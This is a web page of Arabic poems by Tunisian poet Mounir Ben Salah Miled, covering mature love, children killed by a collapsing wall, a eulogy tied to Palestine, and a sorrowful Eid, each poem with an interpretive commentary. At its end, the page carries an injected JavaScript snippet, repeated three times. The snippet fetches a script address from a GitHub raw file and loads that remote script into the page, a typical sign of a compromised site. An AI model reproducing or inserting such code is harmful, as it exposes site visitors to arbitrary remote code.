رقيقةُ القلبِ نقيّة ، كأنها الوردُ في هَيئة صبيٌة.. الشاعر التونسي منير بن صالح ميلاد

حُبُّ ٱلْأَرْبَعِينَ…
نُضْجُ ٱلْهَوَى،
وَٱحْتَرَقَتِ ٱلسِّنِينَ،
يَا حُبَّ قَلْبِي فِي ٱلْمَدَى ٱلْمَسْكُونِ،
يَا زَهْرَةً نَبَتَتْ عَلَى جَفْنِ ٱلْعُيُونِ،
جِئْتِ ٱلْحَيَاةَ مَعَ ٱلرُّبَى تَمْشِينَ،
فَأَثَرْتِ نَارَ ٱلْقَلْبِ فِي ٱلْأَرْبَعِينَ،
يَا حُبَّ عُمْرِي، يَا سُلَافَ، تَأَمَّلِي،
هَلْ يُسْتَهَانُ بِعَاشِقٍ مَفْتُونِ؟
كَأَنَّنِي “إِيرُوسُ” يُغَازِلُ ظِلَّكِ،
وَيَدُقُّ بَابَ ٱلْحُسْنِ فِي سُكُونِ،
يَا حَبِيبَةَ ٱلْقَلْبِ، يَا وَطَنِي،
فِي عِشْقِكِ،
أَدْرَكْتُ مَعْنَى ٱلْحُسْنِ فِي ٱلتَّكْوِينِ،
يَا حُبَّ قَلْبِي فِي ٱلْمَدَى ٱلْمَسْكُونِ،
يَا زَهْرَةً نَبَتَتْ عَلَى جَفْنِ ٱلْعُيُونِ.
الشاعر التونسي منير بن صالح ميلاد
هذه القصيدة للشاعر التونسي منير بن صالح ميلاد ، وهي مليئة بالعواطف العميقة والمشاعر الرومانسية التي تعبّر عن حبٍ ناضج يزداد عمقاً مع مرور الزمن. الشاعر يستخدم لغة شعرية راقية ومفعمة بالرمزية، حيث يصف الحب في سن الأربعين على أنه “نضج الهوى”، مما يعكس التجربة والحكمة التي تأتي مع العمر.
القصيدة ليست مجرد تعبير عن الحب، بل هي احتفاء بمرحلة من الحياة (سن الأربعين) التي يصبح فيها الحب أكثر عمقاً ونقاءً. الشاعر يمزج بين الرومانسية الشخصية والفلسفة العامة حول الجمال والحب والوجود.
غَيْرُ الدُّمُوعِ تَحْكِي وجيعة الزَّمَانْ،
الحَيط فِي تُونِسَ طَاحَ،
لَكِنْ…مَا طَاحَ حَقُّ الإِنسَانْ.
ثَلَاثَةُ صِغَارْ،
حُلْمُهُم مِحْفَظَةٌ،
وَدَفْتَرٌ معبّي بِالأَلْوَانْ،
و”مَزُونَةٌ” فَرْحَانَةٌ بِيهِمْ،
وَالْحَيط خَانْ…
وَخَلَّى مَوْتَهُم عُنْوَانْ.
ثَلَاثَةُ صِغَارْ،
كَالوَرْدِ فِي البُسْتَانْ،
مَا لْحَقُوشْ يِكْبَرُوا،
مَاتُوا… فِي ثَوَانْ.
حَيط طَاحْ،
لا حِسّ،لا أَمَانْ…
دَفَنَ البَرَاءَةَ،
وَكَتَبَ… جُرْحًا وَأَحْزَانْ.
غَيْرُ الدُّمُوعِ تَحْكِي وجيعة الزَّمَانْ،
الحَيط فِي تُونِسَ طَاحَ،
لَكِنْ…مَا طَاحَ حَقُّ الإِنسَانْ.
الشاعر التونسي منير بن صالح ميلاد
هذه القصيدة تحمل في طياتها ألمًا عميقًا وحزنًا على مأساة إنسانية، حيث تجسد كلماتها وجيعة فقدان البراءة والطفولة بسبب الإهمال أو الظلم. الشاعر يستخدم لغة قوية ومؤثرة لتصوير الحادثة، ويبرز من خلالها مشاعر الحزن والغضب، لكن أيضًا الأمل في أن حق الإنسان لا يمكن أن يُهزم رغم كل الظروف.
الرمزية في “الحَيط طَاحَ”:
“الحَيط” هنا يرمز إلى الأمان والاستقرار الذي انهار فجأة، مما أدى إلى فقدان أرواح بريئة.
سقوط الحائط ليس مجرد حادثة مادية، بل هو رمز لانهيار القيم الإنسانية الأساسية مثل المسؤولية والحرص على حياة الآخرين.
تصوير البراءة:
الأطفال الثلاثة يمثلون البراءة والنقاء، أحلامهم بسيطة: محفظة، دفتر، وألوان. هذه التفاصيل الصغيرة تعكس عالمهم الطفولي البريء الذي انتهى بشكل مأساوي.
الوجيعة الجماعية:
الشاعر يربط بين الحادثة الفردية والمأساة الجماعية، حيث تصبح وفاة الأطفال عنوانًا للحزن الذي يمس الجميع.
الأمل والإصرار:
رغم الألم، هناك رسالة قوية بأن حق الإنسان لا يسقط مهما كانت الظروف. هذا يعكس الإيمان بالعدالة والكرامة الإنسانية.
القصيدة تدعو إلى التأمل في المسؤولية الاجتماعية والإنسانية، وتحث على عدم التهاون في حماية الأرواح البريئة. كما أنها تذكرنا بأن المآسي يجب أن تكون دافعًا للتغيير والإصلاح لضمان عدم تكرارها.
قصيدة مؤثرة جدًا تحمل صوتًا قويًا ينادي بالعدالة والإنسانية وسط الألم والحزن.
Mbsmgroup_Tunisie_Private_Pictures-poeme-fares-mounir-miled
يَا فَارِسًا قَدْ سَمَتْ رُوحُكَ الزَّكِيَّةْ
رَفَعْتَ رَايَةَ حَقٍّ دُونَ وَجَلٍ
فَسَقَطْتَ حُرًّا تُنَاجِي الْأَرْضَ يَا حُرِّيَّةْ
يَا نَاصِرَ الْحَقِّ فِي يَوْمِ الْكَرَامَةِ
قَدْ سَطَّرْتَ مَجْدًا بِتَكْبِيرَةٍ تُونُسِيَّة
فَارِسُ خَالِدُ فِي تُونِسَ الْمَجْدُ
وَالْمَوْتُ فِي حَضْنِ فِلَسْطِينَ وَصِيَّةْ
رَحَلْتَ لَكِنْ لَنَا فِي ذِكْرِكَ قَبَسٌ
يَبْقَى يُضِيءُ الدُّجَى حُرًّا أَبِيًّا
سَيَذْكُرُ النَّاسُ فِي التَّارِيخِ مَوْقِفَكَ
وسَيْفُ القَضِيَّةِ لَا يَخْشَى الْمِنِيَّةَ
وَتَهْتِفُ الْأَرْضُ: هَذَا الْفَارِسُ ارْتَقَى
وَأَنَّ مَنْ عَشِقَ الْأَقْصَى بِقَلْبِهِ الصَّادِقِ
يُبْعَثُ فِي الْجَنَّاتِ نَبِيًّا
للشاعر التونسي منير بن صالح ميلاد
النص يحمل رسالة قوية وهي أن الشعب الفلسطيني لم ولن يستسلم، وأنه مستعد للتضحية بكل غالٍ ونفيس من أجل حرية أرضه وكرامته. إنه نداءٌ للوحدة والتكاتف، ورسالة إيمان بأن النصر آتٍ لا محالة.
ختامًا:
هذه الكلمات ليست مجرد شعر، بل هي صرخة ألم وأمل، هي دعاء يصعد إلى السماء ليصل إلى قلب الله الرحيم. هي رسالة لكل من يؤمن بالحرية والعدالة، بأن فلسطين ستظل حية في قلوبنا إلى أن يتحقق النصر.
“يا ربِّ، إنها قدسي… يا ربِّ، أنت النصر وأنا الفداء.”
يا عيدَ حزنٍ زارَ قلبًا مُدمَّى
جاءتْ رياحُكَ مثلَ أحزانِ الأسى
في صدرِ ليلٍ عاتياتٌ عواصفُهُ
والصبحُ يخبو تحتَ غيمٍ قد عصى
أيّامُ فرحٍ كنتَ فيها نجمَ هدى
لكنّكَ اليومَ كظلامٍ قد علا
يا نايَ صبري كم تقطّعَ وترُهُ
وكم حملَ الأنينَ لقلبي النخا
يا طيفَ زهرةٍ أضناها البعدُ
كيف السبيلُ وقد تجلّى الوغى؟
أسيرُ حبًّا لا يرى لي نهاً
كلّ الخيالاتِ فيهِ صارتْ أسى
الشاعر التونسي منير بن صالح ميلاد
القصيدة تُعبّر عن حالة من الحزن والأسى، حيث يُصوّر الشاعر عيد الحزن الذي يزور قلبًا مُدمى. تُشير “رياحُكَ مثلَ أحزانِ الأسى” إلى أن هذا العيد يأتي معه أحزان كثيرة. يُصوّر الشاعر ليلة عاصفة وصُبحًا مغمورًا بالغيوم، مما يعكس الحالة المزاجية السوداوية.
يُشير الشاعر إلى أن أيام الفرح كانت في الماضي، حيث كان العيد نجمًا للهدى، لكنه اليوم مثل الظلام. يُعبّر عن انكسار صبره وآلام قلبه، ويتحدث عن زهرة حُب أضناها البعد، مما يُشير إلى فقدان الحب أو الانفصال.
يُختم الشاعر القصيدة بتصوير نفسه أسيرًا لحب لا ينتهي، حيث كل الخيالات فيه صارت أسى، مما يعكس حالة من اليأس والشوق.
منير بن صالح ميلاد هو شاعر تونسي بارز، يعكس شعره قضايا الهوية والانتماء والمشاعر الإنسانية. تُعتبر أعماله مرجعًا هامًا في الأدب التونسي الحديث34. .
شاعر تونسي معاصر … له منشورات عديدة في الشعر الحر …
https://www.facebook.com/www.mbsm.pro/
;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});